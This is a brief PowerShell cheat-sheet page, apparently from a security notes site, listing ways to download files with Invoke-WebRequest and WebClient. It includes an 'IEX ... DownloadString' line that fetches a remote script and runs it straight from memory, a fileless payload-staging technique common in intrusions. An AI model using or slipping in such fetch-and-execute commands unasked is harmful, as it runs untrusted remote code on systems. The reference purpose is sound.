Cardboard Iguana Security

Invoke-WebRequest

# Download to disk
#
Invoke-WebRequest -Uri $URL_OF_FILE -OutFile $FILE_ON_DISK

# Download into a variable (useful for scripts!)
#
$SCRIPT_DATA = `
	(New-Object System.Net.Webclient).DownloadString("$SCRIPT_URL")

# Download and invoke from memory
#
IEX (New-Object System.Net.Webclient).DownloadString("$SCRIPT_URL")
Invoke-WebRequest
Interactive graph
On this page
Invoke-WebRequest